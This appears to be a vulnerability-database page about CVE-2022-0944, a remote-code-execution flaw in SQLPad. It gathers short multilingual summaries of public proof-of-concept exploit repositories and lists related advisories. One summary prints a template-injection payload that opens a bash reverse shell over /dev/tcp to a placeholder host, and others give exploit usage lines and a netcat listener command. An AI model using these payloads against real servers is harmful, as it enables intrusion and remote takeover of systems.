CVE-2022-0944

CVE-2022-0944 SQLPad - テンプレートインジェクション これはブラインド脆弱性であり、出力がレスポンスに直接返されることを意味します。 エクスプロイト 次のコマンドでスクリプトを使用してください： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 出力 Login was successfull Exploited! テスト環境 Dockerを使用する場合： dockerコンテナを起動 -...

CVE-2022-0944

CVE-2022-0944 PoC SQLPad における RCE の PoC です。 この例ではリバースシェルを起動しますが、ペイロード内の 'exec' 呼び出しのコマンドを変更することで、利用可能な任意のコマンドを実行するようにペイロードを変更できます。 payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 必要条件 Python 3 使用方法 1. リスナーを起動する...

CVE-2022-0944

CVE-2022-0944 针对 SQLPad RCE（CVE-2022-0944） 的概念验证漏洞利用程序 用法 usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password login password option...

sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE 익스플로잇 이 저장소는 SQLPad의 CVE-2022-0944에 대한 익스플로잇 스크립트를 포함하고 있습니다. 이 취약점은 /api/test-connection 엔드포인트를 통해 원격 코드 실행RCE을 허용합니다. 개요 제공된 스크립트exploit.py는 SQLPad의 RCE 취약점을 익스플로잇하는 방법을 보여줍니다. 이 스크립트는 취약한 엔드포인트에 페이로드를 전송하여 대상 서버에서 명령을 실행합니다. 기능 블라인드 RCE : 직접적인 응답을 받지 않고 대상 서버에서 명령을 실행합니다. Netcat 리스너...

CVE-2022-0944_RCE_POC

CVE-2022-0944 SQLPad RCE CVE-2022-0944에 대한 개념 증명 익스플로잇으로, 공격자 PC로의 리버스 쉘을 통한 RCE를 유발합니다. 사용법 usage: script.py URL IP PORT positional arguments: URL SQLPad의 URL IP 리버스 쉘을 위한 리스너 호스트 주소 PORT 리버스 쉘을 위한 리스너 포트 예시: 익스플로잇 실행 ./script.py http://admin.sightless.htb 10.10.11.2 443 면책 조항 이 저장소에는 사이버 보안 학습...

SQLPad-RCE-Exploit-CVE-2022-0944

動作の仕組み: このPHPコードは、SQLPad におけるリモートコード実行（RCE）の脆弱性（CVE-2022-0944 ）を悪用するために設計されています。 SQLPadアプリケーションに悪意のあるコードを注入し、脆弱なシステムのリモート制御を攻撃者に与える接続であるリバースシェルを開くシステムコマンドを実行させます。 前提条件: PHP CLI – sudo apt-get install php-cli cURL（PHP cURLライブラリ） – sudo apt-get install php-curl 使用方法: 1. リスナーのセットアップ（攻撃者マシン上）...

SQLPad-6.10.0-Exploit-CVE-2022-0944

SQLPad 6.10.0 익스플로잇 CVE-2022-0944 이 Bash 스크립트는 SQLPad 6.10.0의 RCE 취약점을 악용합니다. 공격자는 SQLPad의 MySQL 데이터베이스 연결 설정에서 host 및 database 필드를 남용하여 원격 코드 실행RCE을 달성할 수 있습니다. 이 익스플로잇은 Node.js의 childprocess 모듈에 대한 SQLPad의 비위생적인 처리를 악용하여 임의의 명령을 실행하고, 최종적으로 공격자 머신에 리버스 셸을 엽니다. 필수 조건 1. Netcat 리스너 : nc -lvnp 900...

GHSA-2VR4-CQ9G-PVRC vulnerabilities

Vulnerabilities for packages: pulumi, langfuse, unleash, homepage, lerna, code-server, wazuh-dashboard, unleash-proxy, renovate, kibana, langfuse-fips, npm, wazuh-dashboard-fips, unleash-fips, actions-runner, graalvm, prism, librechat, sqlpad...

GHSA-RPW4-54J3-4H4Q vulnerabilities

Vulnerabilities for packages: pulumi, langfuse, unleash, homepage, lerna, code-server, wazuh-dashboard, unleash-proxy, renovate, kibana, langfuse-fips, npm, wazuh-dashboard-fips, unleash-fips, actions-runner, graalvm, prism, librechat, sqlpad...

CVE-2026-101910 vulnerabilities

Vulnerabilities for packages: pulumi, langfuse, unleash, homepage, lerna, code-server, wazuh-dashboard, unleash-proxy, renovate, kibana, langfuse-fips, npm, wazuh-dashboard-fips, unleash-fips, actions-runner, graalvm, prism, librechat, sqlpad...

CVE-2026-101913 vulnerabilities

Vulnerabilities for packages: pulumi, langfuse, unleash, homepage, lerna, code-server, wazuh-dashboard, unleash-proxy, renovate, kibana, langfuse-fips, npm, wazuh-dashboard-fips, unleash-fips, actions-runner, graalvm, prism, librechat, sqlpad...

GHSA-2VR4-CQ9G-PVRC vulnerabilities

Vulnerabilities for packages: lerna, code-server, renovate, prism, pulumi, npm, sqlpad...

CVE-2026-101910 vulnerabilities

Vulnerabilities for packages: lerna, code-server, renovate, prism, pulumi, npm, sqlpad...

CVE-2026-101913 vulnerabilities

Vulnerabilities for packages: lerna, code-server, renovate, prism, pulumi, npm, sqlpad...

GHSA-RPW4-54J3-4H4Q vulnerabilities

Vulnerabilities for packages: lerna, code-server, renovate, prism, pulumi, npm, sqlpad...

CVE-2026-77301 vulnerabilities

Vulnerabilities for packages: saf, sqlpad...

GHSA-7Q85-XJ36-VMFC vulnerabilities

Vulnerabilities for packages: saf, sqlpad...

CLEANSTART-2026-FG94911 Security fix for ghsa-8qq5-rm4j-mr97 applied in: mongosh 2.5.10-r5, mongosh 2.8.1-r0, renovate 43.4.4-r0, sqlpad 7.5.7-r0, thingsboard 4.2.1.1-r1, thingsboard-tb-web-ui 4.2.1.1-r1

ghsa-8qq5-rm4j-mr97 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-LS86065 Security fix for ghsa-xxjr-mmjv-4gpg applied in: jitsucom-jitsu 2.11.0-r2, sqlpad 7.5.7-r0

ghsa-xxjr-mmjv-4gpg affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-AO87470 Security fix for ghsa-mh29-5h37-fv8m applied in: mongosh 2.8.1-r0, sqlpad 7.5.7-r0

ghsa-mh29-5h37-fv8m affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...